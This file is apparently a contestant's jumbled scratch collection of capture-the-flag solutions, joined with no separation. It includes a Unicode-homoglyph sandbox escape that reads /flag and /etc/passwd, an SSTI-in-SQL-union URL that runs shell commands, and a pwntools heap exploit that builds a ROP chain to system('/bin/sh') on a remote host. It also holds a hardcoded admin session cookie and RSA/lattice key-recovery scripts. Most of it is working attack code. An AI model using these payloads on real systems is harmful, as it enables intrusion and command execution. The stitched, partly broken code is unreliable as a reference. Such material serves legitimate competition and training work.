import unidecode
import re
import warnings
warnings.filterwarnings("ignore", category=DeprecationWarning)  # 忽略警告

# 定义正则表达式
pattern = r"[!\"#$%&'()*+,-./:;<=>?@[\\\]^_`{|}~]"
pattern = r"&"

# 原字符: ＇ (U+FF07) -> 转换后: ''' 匹配正则表达式

# 原字符: ︵ (U+FE35) -> 转换后: '(' 匹配正则表达式
# 原字符: ︻ (U+FE3B) -> 转换后: '[(' 匹配正则表达式
# 原字符: ﹙ (U+FE59) -> 转换后: '(' 匹配正则表达式
# 原字符: （ (U+FF08) -> 转换后: '(' 匹配正则表达式

# 原字符: ︶ (U+FE36) -> 转换后: ') ' 匹配正则表达式
# 原字符: ︼ (U+FE3C) -> 转换后: ')] ' 匹配正则表达式
# 原字符: ﹚ (U+FE5A) -> 转换后: ')' 匹配正则表达式
# 原字符: ） (U+FF09) -> 转换后: ')' 匹配正则表达式

# 原字符: ﹐ (U+FE50) -> 转换后: ',' 匹配正则表达式
# 原字符: ﹑ (U+FE51) -> 转换后: ',' 匹配正则表达式
# 原字符: ， (U+FF0C) -> 转换后: ',' 匹配正则表达式
# 原字符: ､ (U+FF64) -> 转换后: ',' 匹配正则表达式

# 原字符: ／ (U+FF0F) -> 转换后: '/' 匹配正则表达式

# 原字符: ﹒ (U+FE52) -> 转换后: '.' 匹配正则表达式

# 原字符: ﬩ (U+FB29) -> 转换后: '+' 匹配正则表达式

# 遍历所有 Unicode 字符
for code_point in range(0x110000):  # Unicode 范围 0x0000 到 0x10FFFF
    char = chr(code_point)
    ascii_char = unidecode.unidecode(char)
    # 检查转换后的字符是否匹配正则表达式
    if re.search(pattern, ascii_char):
        print(f"原字符: {char} (U+{code_point:04X}) -> 转换后: '{ascii_char}' 匹配正则表达式")

# print(open('/flag').read())
# max('a','b')
# print(open('/flag').read(),'')
# b=b＇﹐open︵＇／flag＇﹒read︵︶︶﹐＇a
# b=b＇﹐open︵＇／flag＇︶﹐＇a

# b＇﹐open︵＇／etc／passwd＇︶﹒read︵︶﹐＇a

source='''begin')
with open('run.py', 'w') as file:
    file.write('import os\\ncmd = \\'dd if=/flag\\'\\nprint(os.popen(cmd).read())\\n')
print('success'''

print(source.replace('\'','＇')
      .replace('(','︵').replace(')','︶').replace('{','︷').replace('}','︸').replace('.','﹒').replace('-','︲')
      .replace(',','﹐').replace('/','／').replace('+','﬩').replace(':','﹕').replace('=','﹦').replace('"','＂')
      .replace('>','﹀').replace('&','﹠')
      .replace('*','﹡').replace('\\','﹨').replace('\n','\\n')
      )

print(source)

import requests
import json
url='http://eci-2zefgk9je6f4xlvodibv.cloudeci1.ichunqiu.com:5000/move'
headers = {'Content-Type': 'application/json'}
cookies = {'session': 'eyJ1c2VybmFtZSI6ImFkbWluIn0.ZyY3pQ._BvwXGOBEhq_MpV7ys_JWE7PRCs'}
# {"direction":"UP"}
def move_up():
    data = {"direction":"UP"}
    r = requests.post(url, data=json.dumps(data),cookies=cookies, headers=headers)
    try:
        a=r.json()
    except:
        print(r.text)
    if a['status']=='game_over':
        print("GAME_OVER")
        exit()
    elif a['status']=='win':
        print(a)
        exit()
    return a

def move_down():
    data = {"direction":"DOWN"}
    r = requests.post(url, data=json.dumps(data),cookies=cookies, headers=headers)
    try:
        a=r.json()
    except:
        print(r.text)
    if a['status']=='game_over':
        print("GAME_OVER")
        exit()
    elif a['status']=='win':
        print(a)
        exit()
    return a

def move_left():
    data = {"direction":"LEFT"}
    r = requests.post(url, data=json.dumps(data),cookies=cookies, headers=headers)
    try:
        a=r.json()
    except:
        print(r.text)
    if a['status']=='game_over':
        print("GAME_OVER")
        exit()
    elif a['status']=='win':
        print(a)
        exit()
    return a

def move_right():
    data = {"direction":"RIGHT"}
    r = requests.post(url, data=json.dumps(data),cookies=cookies, headers=headers)
    try:
        a=r.json()
    except:
        print(r.text)
    if a['status']=='game_over':
        print("GAME_OVER")
        exit()
    elif a['status']=='win':
        print(a)
        exit()
    return a

def init_snake():
    for i in range(10):
        move_up()
    for _ in range(10):
        move_left()

# board 20*20
def loop_snake():
    for i in range(9):
        move_right()
        for i in range(18):
            move_down()
        move_right()
        for i in range(18):
            move_up()
    move_right()
    for i in range(18):
        move_down()
    move_down()
    for i in range(19):
        move_left()
    for i in range(18):
        move_up()
    return move_up()

if __name__ == '__main__':
    init_snake()
    while True:
        loop_snake()

# http://eci-2ze8beum9soiwtd81xgp.cloudeci1.ichunqiu.com:5000/snake_win?username=a%27%20union%20select%201,2,(select%20%27{%set%20ls=%22cat%20/flag%22%}{{cycler.next.__globals__.__builtins__.__import__(%22os%22).popen(ls).read()}}%27)--+

import libnum
import gmpy2
N=44508032913002083870355404862735438626101420684925226109004446055983741286243522239538526937180627934140152431694079162230431229052851024336508410878627936748017709043194286224138820165941548398584964821307884353900213098472107658109061170754204029096285296176798196668398879206081800157621341733896385256724382552535145729995175333371544187439594792184238990799578167433759917599778934656885213754695821339778827029190401939320298150384346348349408520262556885538553500793321231050234860932642954967635986692611043922605612419097784360447185894049038327592249753753750962058855945807295380786206177380184416974656659
e=65537
g=2816807073583541617244336487749418034536648745076739514510777555728148022135730271356006479737596617603106264254423134880711360037235639243811059087771
enc=40359774585181786718067015077121421540771743324474888383682066908706211042488333672133443506409835144235567957892565227399108321321812635818651405960419607888206247279096368182246189753271845232943165475223454156956276295097500196230066407058253745424766599085563165578695097940086865669573021466651691429311702528817794551352659301522751080542842702170907942218113172271737735091814350783325767489460119441286158221757566087580992626962791492617237916181495815124902590728686639229514450327984938027358782879652133589016622157558248485680690832481735950298845664751104141724177237811608463591547937862456317025511685
# 已知参数
h=(N-1)/2/g
#print(h)
g2=g*2
k=int(h/g2)
#print(k)

lower_bound = 2^23
upper_bound = 2^24

for u in range(lower_bound, upper_bound):
    v = k - u
    S = h-2 * g * v  # a + b
    P = v          # a * b

    # 构建二次方程 x^2 - Sx + P = 0
    D = S^2 - 4 * P  # 判别式

        # 检查判别式是否为完全平方数
    if is_square(D):
        sqrt_D = int(sqrt(D))
        a = int((S + sqrt_D) / 2)
        b = int((S - sqrt_D) / 2)

            # 验证 a 和 b 是否正整数
        if a > 0 and b > 0:
            # 计算 p_a 和 p_b
            p_a = 2 * g * a + 1
            p_b = 2 * g * b + 1

                # 检查 p_a 和 p_b 是否为素数
            if is_prime(p_a) and is_prime(p_b):
                    # 验证 N 是否等于 p_a * p_b
                if p_a * p_b == N:
                    print(f"Found a and b:")

                        # 计算 phi(N)
                    phi_N = (p_a - 1) * (p_b - 1)

                        # 计算私钥 d
                    d = gmpy2.invert(e, phi_N)

                        # 解密密文
                    m = pow(enc, d, N)
                    

                    print(f"Recovered m: {m}")
print(libnum.n2s(m))
#m=56006392793429433661271203508232706411348440471374381419570426167878651697345525534934527018801522301
#flag{e83a95e2-6ea2-4402-808b-bf010cbbffcf}

def calculate_hamming_weight_128(a):
    b = a  # 将 a 的值赋给 b

    # 计算汉明重量
    b = b - ((b >> 1) & 113427455640312821154458202477256070485)
    b = (b & 68056473384187692692674921486353642291) + ((b >> 2) & 68056473384187692692674921486353642291)
    b = (b + (b >> 4)) & 20016609818878733144904388672456953615
    b = b + (b >> 8)
    b = b + (b >> 16)
    b = b + (b >> 32)
    b = b + (b >> 64)

    # 将结果放回 a 中，只保留汉明重量
    return int(b & 0x7F)  # 128位的汉明重量最大为128

# 示例
a = 2**127-1 # 示例：127个1和1个0
hamming_weight = calculate_hamming_weight_128(a)
print(f"Hamming Weight: {hamming_weight}")

B=A+B;
A=A>>1;
A=A&113427455640312821154458202477256070485;
B=B-A;
A=B&68056473384187692692674921486353642291;
B=B>>2;
B=B&68056473384187692692674921486353642291;
A=A+B;
B=A>>4;
A=A+B;
B=A&20016609818878733144904388672456953615;
A=B>>8;
A=A+B;
B=A>>16;
B=A+B;
A=B>>32;
A=A+B;
B=A>>64;
B=A+B;
A=B&127;

n=89839084450618055007900277736741312641844770591346432583302975236097465068572445589385798822593889266430563039645335037061240101688433078717811590377686465973797658355984717210228739793741484666628342039127345855467748247485016133560729063901396973783754780048949709195334690395217112330585431653872523325589
e=65537
add=18978581186415161964839647137704633944599150543420658500585655372831779670338724440572792208984183863860898382564328183868786589851370156024615630835636170
chengji=n
from sympy import *
x,y= symbols('x,y')
print(solve([x*y-n,x+y-add],[x,y]))

p=9944868810114216202051445555036732697046288141145767567362511367574668195172230525918426361043964814581009916352403620781997665604176512356634685730213779
q=9033712376300945762788201582667901247552862402274890933223144005257111475166493914654365847940219049279888466211924563086788924247193643667980945105422391
enc=23664702267463524872340419776983638860234156620934868573173546937679196743146691156369928738109129704387312263842088573122121751421709842579634121187349747424486233111885687289480494785285701709040663052248336541918235910988178207506008430080621354232140617853327942136965075461701008744432418773880574136247
n=p*q
e=65537
d=5509304368631978318762702232692423142767812579254792141115624112697799900981013150186025076948972961255236474912409806886935989878783168948332770522421255633821734298643005352356187478769598906437482226034549783166393591341071223117430511707399278731128394709341736045609032333568411154004086041269715471013
m=pow(enc,d,n)
print(m)
from Crypto.Util.number import *
print(long_to_bytes(m))
#m=8114814712001608912087736741471

#task2
import itertools
# n, c, hints
n=73566307488763122580179867626252642940955298748752818919017828624963832700766915409125057515624347299603944790342215380220728964393071261454143348878369192979087090394858108255421841966688982884778999786076287493231499536762158941790933738200959195185310223268630105090119593363464568858268074382723204344819
c=30332590230153809507216298771130058954523332140754441956121305005101434036857592445870499808003492282406658682811671092885592290410570348283122359319554197485624784590315564056341976355615543224373344781813890901916269854242660708815123152440620383035798542275833361820196294814385622613621016771854846491244
hints=[18167664006612887319059224902765270796893002676833140278828762753019422055112981842474960489363321381703961075777458001649580900014422118323835566872616431879801196022002065870575408411392402196289546586784096, 16949724497872153018185454805056817009306460834363366674503445555601166063612534131218872220623085757598803471712484993846679917940676468400619280027766392891909311628455506176580754986432394780968152799110962, 17047826385266266053284093678595321710571075374778544212380847321745757838236659172906205102740667602435787521984776486971187349204170431714654733175622835939702945991530565925393793706654282009524471957119991, 25276634064427324410040718861523090738559926416024529567298785602258493027431468948039474136925591721164931318119534505838854361600391921633689344957912535216611716210525197658061038020595741600369400188538567, 22620929075309280405649238349357640303875210864208854217420509497788451366132889431240039164552611575528102978024292550959541449720371571757925105918051653777519219003404406299551822163574899163183356787743543, 20448555271367430173134759139565874060609709363893002188062221232670423900235907879442989619050874172750997684986786991784813276571714171675161047891339083833557999542955021257408958367084435326315450518847393, 16581432595661532600201978812720360650490725084571756108685801024225869509874266586101665454995626158761371202939602347462284734479523136008114543823450831433459621095011515966186441038409512845483898182330730, 23279853842002415904374433039119754653403309015190065311714877060259027498282160545851169991611095505190810819508498176947439317796919177899445232931519714386295909988604042659419915482267542524373950892662544, 16542280976863346138933938786694562410542429842169310231909671810291444369775133082891329676227328401108505520149711555594236523078258701726652736438397249153484528439336008442771240980575141952222517324476607, 17054798687400834881313828738161453727952686763495185341649729764826734928113560289710721893874591843482763545781022050238655346441049269145400183941816006501187555169759754496609909352066732267489240733143973, 22115728663051324710538517987151446287208882441569930705944807337542411196476967586630373946539021184108542887796299661200933395031919501574357288914028686562763621166172668808524981253976089963176915686295217, 19324745002425971121820837859939938858204545496254632010818159347041222757835937867307372949986924646040179923481350854019113237172710522847771842257888083088958980783122775860443475680302294211764812636993025, 17269103712436870749511150569030640471982622900104490728908671745662264368118790999669887094371008536628103283985205839448583011077421205589315164079023370873380480423797655480624151812894997816254147210406492, 17365467616785968410717969747207581822018195905573214322728668902230086291926193228235744513285718494565736538060677324971757810325341657627830082292794517994668597521842723473167615388674219621483061095351780, 20823988964903136690545608569993429386847299285019716840662662829134516039366335014168034963190410379384987535117127797097185441870894097973310130525700344822429616024795354496158261293140438037100429185280939, 19068742071797863698141529586788871165176403351706021832743114499444358327620104563127248492878047796963678668578417711317317649158855864613197342671267006688211460724339403654215571839421451060657330746917459, 20089639597210347757891251257684515181178224404350699015820324544431016085980542703447257134320668961280907495580251880177990935443438799776252979843969984270461013888122703933975001704404129130156833542263882, 22344734326131457204500487243249860924828673944521980798994250859372628295695660076289343998351448667548250129358262592043131205967592613289260998148991388190917863322690137458448696392344738292233285437662495, 22688858027824961235755458925538246922604928658660170686458395195714455094516952026243659139809095639584746977271909644938258445835519951859659822660413616465736923822988993362023001205350387354001389518742538, 21286046487289796335501643195437352334100195831127922478044197411293510360710188581314023052580692810484251118253550837525637065385439859631494533102244585493243972819369812352385425700028640641292410326514111, 21542729548465815605357067072323013570796657575603676418485975214641398139843537820643982914302122976789859817102498484496409546012119998359943274203338400776158986205776474024356567247508744784200354385060666, 22319592382753357951626314613193901130171847776829835028715915533809475362288873045184870972146269975570664009921662023590318988850871708674240304838922536028975978222603171333743353770676344328056539379240160, 25195209191944761648246874631038407055240893204894145709996399690807569652160721616011712739214434932639646688187304865397816188999592774874989401871300784534538762135830014255425391132306536883804201055992313, 18257804244956449160916107602212089869395886846990320452133193087611626919926796845263727422042179229606817439442521540784268169177331707314788427670112999551683927934427716554137597798283300120796277229509678, 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18831072673439732764722762485733622234889447953507582396819704359771208236721692820362137219509611319088756045211407777880521726782697895768017460064889670066178710804124631128581556314122255564861269062385337, 23800437561684813552661749774840752013501533683948618798811470214669024646396165487093720960221009038817909066075238937189371227098032581450466402462014437421254375846263830927945343485988463525070074913720710, 24402191070622494792723290726249952159888270689258801831518209605331984684494095167423722682814769395395011136124403802097229547003802312444913008194461779426175966774202219703164060353710247619639616444797670, 20215481513831963554421686543560596857659844027486522940060791775984622049024173363533378455076109165728144576719015392033536498353094895564917644840994662704362121549525329105205514332808950206092190939931448, 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22739514514055088545643169404630736699361136323546717268615404574809011342622362833245601099992039789664042350284789853188040159950619203242924511038681127008964592137006103547262538912024671048254652547084347, 21491512279698208400974501713300096639215882495977078132548631606796810881149011161903684894826752520167909538856354238104288201344211604223297924253960199754326239113862002469224042442018978623149685130901455, 19381008151938129775129563507607725859173925946797075261437001349051037306091047611533900186593946739906685481456985573476863123716331923469386565432105662324849798182175616351721533048174745501978394238803081, 19965143096260141101824772370858657624912960190922708879345774507598595008331705725441057080530773097285721556537121282837594544143441953208783728710383586054502176671726097169651121269564738513585870857829805]

V = hints[:4]
k = 2^800
M = Matrix.column([k * v for v in V]).augment(Matrix.identity(len(V)))
B = [b[1:] for b in M.LLL()]
M = (k * Matrix(B[:len(V)-2])).T.augment(Matrix.identity(len(V)))
B = [b[-len(V):] for b in M.LLL() if set(b[:len(V)-2]) == {0}]

for s, t in itertools.product(range(4), repeat=2):
    T = s*B[0] + t*B[1]
    a1, a2, a3, a4 = T
    kq = gcd(a1 * hints[1] - a2 * hints[0], n)
    if 1 < kq < n:
        print('find!', kq, s, t)
        break
for i in range(2**16, 1, -1):
    if kq % i == 0:
        kq //= i
q = int(kq)
p = int(n // kq)
d = pow(0x10001, -1, (p - 1) * (q - 1))
print(d)
m = pow(c, d, n)
print(m)
#9126225092709586133885512609890
#d=63161710023005682001641222387261908738600679768601303308593545341859788186928800467532061832081889220655732875520328593226116199528042689465519293752965146159007213214854517385876812127128763146579744489192395430402667797637566878199509162723122664866142409202723436205520130646241903926144243067536101288033

import gmpy2 
from Crypto.Util.number import *
n=73566307488763122580179867626252642940955298748752818919017828624963832700766915409125057515624347299603944790342215380220728964393071261454143348878369192979087090394858108255421841966688982884778999786076287493231499536762158941790933738200959195185310223268630105090119593363464568858268074382723204344819
d=63161710023005682001641222387261908738600679768601303308593545341859788186928800467532061832081889220655732875520328593226116199528042689465519293752965146159007213214854517385876812127128763146579744489192395430402667797637566878199509162723122664866142409202723436205520130646241903926144243067536101288033
enc3 =  17737974772490835017139672507261082238806983528533357501033270577311227414618940490226102450232473366793815933753927943027643033829459416623683596533955075569578787574561297243060958714055785089716571943663350360324047532058597960949979894090400134473940587235634842078030727691627400903239810993936770281755
print(pow(enc3,d,n))
#m=35087185078676320138270155133

m1=8114814712001608912087736741471
m2=9126225092709586133885512609890
m3=35087185078676320138270155133
from Crypto.Util.number import *
print(long_to_bytes(m1)+long_to_bytes(m2)+long_to_bytes(m3))
#b'flag{yOu_can_s0lve_the_@pbq_prob1em!!}'

from pwn import *

context.log_level='debug'
#io=process("./pwn")
#io=gdb.debug("./pwn")
io=remote("101.200.139.65",32789)
def cmd(opcode):
    io.recvuntil(b"Choice >")
    io.sendline(str(opcode))
    return

def add():
    cmd(1)
    return

def show(idx):
    cmd(2)
    io.recvuntil(b"Index >")
    io.sendline(str(idx))
    return

def edit(idx,data):
    cmd(3)
    io.recvuntil(b"Index >")
    io.sendline(str(idx))
    io.recvuntil(b"Content >")
    io.send(data)
    return

for x in range(129):
    add()
show(0)
io.recvuntil(b"Content:")
content_bytes=io.recvuntil(b"]")
content_str = content_bytes.decode('utf-8')
numbers = [int(num) for num in content_str.split('[')[1].split(']')[0].split(',')]
u64_values = []

for i in range(0, len(numbers), 8):
    byte_chunk = numbers[i:i+8]
    u64_value = u64(bytes(byte_chunk))
    u64_values.append(u64_value)

for value in u64_values:
    print(hex(value))

leak_value=u64_values[1]
fucking_shit_chunk_manager_addr=leak_value-0x810

print(hex(fucking_shit_chunk_manager_addr))
pld=p64(0x0)*3+p64(0x8)+p64(fucking_shit_chunk_manager_addr)+p64(258)

edit(0x0,pld)
stack_addr=u64_values[4]-0x50
print("stack_addr"+hex(stack_addr))
pld2=p64(0x0)+p64(0x21)+p64(fucking_shit_chunk_manager_addr>>12)+p64(0x0)+p64(0x0)+p64(0x21)+p64(fucking_shit_chunk_manager_addr+0x50)+p64(u64_values[4]-0x50)+p64(0x0)+p64(0x811-0x40)

edit(2,pld2)
show(5)
io.recvuntil(b"Content:")
content_bytes=io.recvuntil(b"]")
content_str = content_bytes.decode('utf-8')
numbers = [int(num) for num in content_str.split('[')[1].split(']')[0].split(',')]
u64_values = []

for i in range(0, len(numbers), 8):
    byte_chunk = numbers[i:i+8]
    u64_value = u64(bytes(byte_chunk))
    u64_values.append(u64_value)

for value in u64_values:
    print(hex(value))

fuck_addr=u64_values[0]-0x1a925
print("process_addr"+hex(fuck_addr))
#pld3=p64(0x0)+p64(0x21)
edit(4,p64(fuck_addr+0x62218))
show(10)

io.recvuntil(b"Content:")
content_bytes=io.recvuntil(b"]")
content_str = content_bytes.decode('utf-8')
numbers = [int(num) for num in content_str.split('[')[1].split(']')[0].split(',')]
u64_values = []

for i in range(0, len(numbers), 8):
    byte_chunk = numbers[i:i+8]
    u64_value = u64(bytes(byte_chunk))
    u64_values.append(u64_value)

for value in u64_values:
    print(hex(value))

elf=ELF("./pwn")
libc=ELF("./QWB2024")

libc_base=u64_values[0]-libc.symbols['write'];
print("lib_addr"+hex(u64_values[0]-libc.symbols['write']))
sys_addr=libc_base+libc.symbols['system']
prdi_addr=fuck_addr+0x1dd45

pld3=p64(prdi_addr)+p64(stack_addr+0x20)+p64(0x0)+p64(sys_addr)+b'/bin/sh'
edit(5,pld3)
io.interactive()
#input()
#pld1=p64(0x0)*3+

from Crypto.Util.number import *
from secret import flag

p = getPrime(512)
q = getPrime(512)
n = p * q
d = getPrime(299)
e = inverse(d,(p-1)*(q-1))
m = bytes_to_long(flag)
c = pow(m,e,n)
hint1 = p >> (512-70)
hint2 = q >> (512-70)

print(f"n = {n}")
print(f"e = {e}")
print(f"c = {c}")
print(f"hint1 = {hint1}")
print(f"hint2 = {hint2}")

n = 65318835751656706270462803918372182811096669561139853833192009681234356986381524661604904085035483519298788284835759796179173585004238691057332447589167439506386243352011548441011828732868691543989256629925692290088144403935880664585931943707422938295860559274669263630591393175387389387981929391774213395003
e = 40738963799387627677248718814260921636491770341278750841486515130562842134876396915106681433734276005332410415984785584884091334455816402584507178231273998519376915363193650533215442952274343814099450187672503465016280527554101223321817109358581483535333734940968961773897326303002987203525415266163296607215
c = 28858301095788879003830568949705095027466057921892765321643055383309726369907606901866332954652632036004551285284813812187678314978562231120323470819722044516158810710408496414616381570397632550468546302235826400628265458069027801013266037490695637948933487646553291637002155559023268928639502489285322508063
hint1 = 624859718207126357681
hint2 = 810475217500119132950

import time
time.clock = time.time
 
debug = True
 
strict = False
 
helpful_only = True
dimension_min = 7 

def helpful_vectors(BB, modulus):
    nothelpful = 0
    for ii in range(BB.dimensions()[0]):
        if BB[ii,ii] >= modulus:
            nothelpful += 1

def matrix_overview(BB, bound):
    for ii in range(BB.dimensions()[0]):
        a = ('%02d ' % ii)
        for jj in range(BB.dimensions()[1]):
            a += '0' if BB[ii,jj] == 0 else 'X'
            if BB.dimensions()[0] < 60: 
                a += ' '
        if BB[ii, ii] >= bound:
            a += '~'
            
def remove_unhelpful(BB, monomials, bound, current):
    if current == -1 or BB.dimensions()[0] <= dimension_min:
        return BB
 
    for ii in range(current, -1, -1):

        if BB[ii, ii] >= bound:
            affected_vectors = 0
            affected_vector_index = 0

            for jj in range(ii + 1, BB.dimensions()[0]):

                if BB[jj, ii] != 0:
                    affected_vectors += 1
                    affected_vector_index = jj

            if affected_vectors == 0:
                #print ("* removing unhelpful vector", ii)
                BB = BB.delete_columns([ii])
                BB = BB.delete_rows([ii])
                monomials.pop(ii)
                BB = remove_unhelpful(BB, monomials, bound, ii-1)
                return BB

            elif affected_vectors == 1:
                affected_deeper = True
                for kk in range(affected_vector_index + 1, BB.dimensions()[0]):
                    if BB[kk, affected_vector_index] != 0:
                        affected_deeper = False

                if affected_deeper and abs(bound - BB[affected_vector_index, affected_vector_index]) < abs(bound - BB[ii, ii]):
                    BB = BB.delete_columns([affected_vector_index, ii])
                    BB = BB.delete_rows([affected_vector_index, ii])
                    monomials.pop(affected_vector_index)
                    monomials.pop(ii)
                    BB = remove_unhelpful(BB, monomials, bound, ii-1)
                    return BB
    return BB
 

def boneh_durfee(pol, modulus, mm, tt, XX, YY):

    PR.<u, x, y> = PolynomialRing(ZZ)   
    Q = PR.quotient(x*y + 1 - u)        
    polZ = Q(pol).lift()
 
    UU = XX*YY + 1

    gg = []
    for kk in range(mm + 1):
        for ii in range(mm - kk + 1):
            xshift = x^ii * modulus^(mm - kk) * polZ(u, x, y)^kk
            gg.append(xshift)
    gg.sort()

    monomials = []
    for polynomial in gg:
        for monomial in polynomial.monomials(): 
            if monomial not in monomials: 
                monomials.append(monomial)
    monomials.sort()

    for jj in range(1, tt + 1):
        for kk in range(floor(mm/tt) * jj, mm + 1):
            yshift = y^jj * polZ(u, x, y)^kk * modulus^(mm - kk)
            yshift = Q(yshift).lift()
            gg.append(yshift) 

    for jj in range(1, tt + 1):
        for kk in range(floor(mm/tt) * jj, mm + 1):
            monomials.append(u^kk * y^jj)

    nn = len(monomials)
    BB = Matrix(ZZ, nn)
    for ii in range(nn):
        BB[ii, 0] = gg[ii](0, 0, 0)
        for jj in range(1, ii + 1):
            if monomials[jj] in gg[ii].monomials():
                BB[ii, jj] = gg[ii].monomial_coefficient(monomials[jj]) * monomials[jj](UU,XX,YY)

    if helpful_only:
        BB = remove_unhelpful(BB, monomials, modulus^mm, nn-1)
        nn = BB.dimensions()[0]
        if nn == 0:
            print ("failure")
            return 0,0

    if debug:
        helpful_vectors(BB, modulus^mm)

    det = BB.det()
    bound = modulus^(mm*nn)
    if det >= bound:
        print ("We do not have det < bound. Solutions might not be found.")
        print ("Try with highers m and t.")
        if debug:
            diff = (log(det) - log(bound)) / log(2)
            print ("size det(L) - size e^(m*n) = ", floor(diff))
        if strict:
            return -1, -1
    else:
        print ("det(L) < e^(m*n) (good! If a solution exists < N^delta, it will be found)")

    if debug:
        matrix_overview(BB, modulus^mm)

    if debug:
        print ("optimizing basis of the lattice via LLL, this can take a long time")

    BB = BB.LLL()
 
    if debug:
        print ("LLL is done!")

    if debug:
        print ("在格中寻找线性无关向量")
    found_polynomials = False
 
    for pol1_idx in range(nn - 1):
        for pol2_idx in range(pol1_idx + 1, nn):
            PR.<w,z> = PolynomialRing(ZZ)
            pol1 = pol2 = 0
            for jj in range(nn):
                pol1 += monomials[jj](w*z+1,w,z) * BB[pol1_idx, jj] / monomials[jj](UU,XX,YY)
                pol2 += monomials[jj](w*z+1,w,z) * BB[pol2_idx, jj] / monomials[jj](UU,XX,YY)
            PR.<q> = PolynomialRing(ZZ)
            rr = pol1.resultant(pol2)
            if rr.is_zero() or rr.monomials() == [1]:
                continue
            else:
                print ("found them, using vectors", pol1_idx, "and", pol2_idx)
                found_polynomials = True
                break
        if found_polynomials:
            break
 
    if not found_polynomials:
        print ("no independant vectors could be found. This should very rarely happen...")
        return 0, 0
 
    rr = rr(q, q)
    soly = rr.roots()
 
    if len(soly) == 0:
        print ("Your prediction (delta) is too small")
        return 0, 0
 
    soly = soly[0][0]
    ss = pol1(q, soly)
    solx = ss.roots()[0][0]
    return solx, soly
 
def example():
    start =time.clock()
    size=512
    length_N = 2*size;
    ss=0
    s=70;
    M=1   
    delta = 299/1024
    for i in range(M):
        N = 65318835751656706270462803918372182811096669561139853833192009681234356986381524661604904085035483519298788284835759796179173585004238691057332447589167439506386243352011548441011828732868691543989256629925692290088144403935880664585931943707422938295860559274669263630591393175387389387981929391774213395003
        e = 40738963799387627677248718814260921636491770341278750841486515130562842134876396915106681433734276005332410415984785584884091334455816402584507178231273998519376915363193650533215442952274343814099450187672503465016280527554101223321817109358581483535333734940968961773897326303002987203525415266163296607215
        c = 28858301095788879003830568949705095027466057921892765321643055383309726369907606901866332954652632036004551285284813812187678314978562231120323470819722044516158810710408496414616381570397632550468546302235826400628265458069027801013266037490695637948933487646553291637002155559023268928639502489285322508063
        hint1 =   624859718207126357681
        hint2 =   810475217500119132950

        m = 7  
        t = round(((1-2*delta) * m))  
        X = floor(N^delta)  
        Y = floor(N^(1/2)/2^s)    
        for l in range(int(hint1),int(hint1)+1):
            print('\n\n\n l=',l)
            pM=l;
            p0=pM*2^(size-s)+2^(size-s)-1;
            q0=N/p0;
            qM=int(q0/2^(size-s))
            A = N + 1-pM*2^(size-s)-qM*2^(size-s);
            P.<x,y> = PolynomialRing(ZZ)
            pol = 1 + x * (A + y)
            
            if debug:
                start_time = time.time()
            solx, soly = boneh_durfee(pol, e, m, t, X, Y)
 
 
            if solx > 0:
                if False:
                    print ("x:", solx)
                    print ("y:", soly)
 
                d_sol = int(pol(solx, soly) / e)
                ss=ss+1

                print ("=== solution found ===")
                print ("p的高比特为：",l)
                print ("q的高比特为：",qM)
                print ("d=",d_sol) 
 
            if debug:
                print("=== %s seconds ===" % (time.time() - start_time))
        print("ss=",ss)
        end=time.clock()
        print('Running time: %s Seconds'%(end-start))
if __name__ == "__main__":
    example()  

d=514966421261428616864174659198108787824325455855002618826560538514908088230254475149863519
e=40738963799387627677248718814260921636491770341278750841486515130562842134876396915106681433734276005332410415984785584884091334455816402584507178231273998519376915363193650533215442952274343814099450187672503465016280527554101223321817109358581483535333734940968961773897326303002987203525415266163296607215
n=65318835751656706270462803918372182811096669561139853833192009681234356986381524661604904085035483519298788284835759796179173585004238691057332447589167439506386243352011548441011828732868691543989256629925692290088144403935880664585931943707422938295860559274669263630591393175387389387981929391774213395003
c=28858301095788879003830568949705095027466057921892765321643055383309726369907606901866332954652632036004551285284813812187678314978562231120323470819722044516158810710408496414616381570397632550468546302235826400628265458069027801013266037490695637948933487646553291637002155559023268928639502489285322508063
from Crypto.Util.number import *
m=pow(c,d,n)
print(long_to_bytes(m))
#wdflag{097e0b16-3991-488a-b512-c3dbfb86db4a}

# coding: utf-8
#!/usr/bin/env python2

import gmpy2
import random
import binascii
from hashlib import sha256
from sympy import nextprime
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
from Crypto.Util.number import long_to_bytes
from FLAG import flag
#flag = 'wdflag{123}'

def victory_encrypt(plaintext, key):
    key = key.upper()
    key_length = len(key)
    plaintext = plaintext.upper()
    ciphertext = ''

    for i, char in enumerate(plaintext):
        if char.isalpha():
            shift = ord(key[i % key_length]) - ord('A')
            encrypted_char = chr((ord(char) - ord('A') + shift) % 26 + ord('A'))
            ciphertext += encrypted_char
        else:
            ciphertext += char

    return ciphertext

victory_key = "WANGDINGCUP"
victory_encrypted_flag = victory_encrypt(flag, victory_key)

p = 0xfffffffffffffffffffffffffffffffffffffffffffffffffffffffefffffc2f
a = 0
b = 7
xG = 0x79be667ef9dcbbac55a06295ce870b07029bfcdb2dce28d959f2815b16f81798
yG = 0x483ada7726a3c4655da4fbfc0e1108a8fd17b448a68554199c47d08ffb10d4b8
G = (xG, yG)
n = 0xfffffffffffffffffffffffffffffffebaaedce6af48a03bbfd25e8cd0364141
h = 1
zero = (0,0)

dA = nextprime(random.randint(0, n))

if dA > n:
    print("warning!!")

def addition(t1, t2):
    if t1 == zero:
        return t2
    if t2 == zero:
        return t2
    (m1, n1) = t1
    (m2, n2) = t2
    if m1 == m2:
        if n1 == 0 or n1 != n2:
            return zero
        else:
            k = (3 * m1 * m1 + a) % p * gmpy2.invert(2 * n1 , p) % p
    else:
        k = (n2 - n1 + p) % p * gmpy2.invert((m2 - m1 + p) % p, p) % p
    m3 = (k * k % p - m1 - m2 + p * 2) % p
    n3 = (k * (m1 - m3) % p - n1 + p) % p
    return (int(m3),int(n3))

def multiplication(x, k):
    ans = zero
    t = 1
    while(t <= k):
        if (k &t )>0:
            ans = addition(ans, x)
        x = addition(x, x)
        t <<= 1
    return ans

def getrs(z, k):
    (xp, yp) = P
    r = xp
    s = (z + r * dA % n) % n * gmpy2.invert(k, n) % n
    return r,s

z1 = random.randint(0, p)
z2 = random.randint(0, p)
k = random.randint(0, n)
P = multiplication(G, k)
hA = multiplication(G, dA)
r1, s1 = getrs(z1, k)
r2, s2 = getrs(z2, k)

print("r1 = {}".format(r1))
print("r2 = {}".format(r2))
print("s1 = {}".format(s1))
print("s2 = {}".format(s2))
print("z1 = {}".format(z1))
print("z2 = {}".format(z2))

key = sha256(long_to_bytes(dA)).digest()
cipher = AES.new(key, AES.MODE_CBC)
iv = cipher.iv
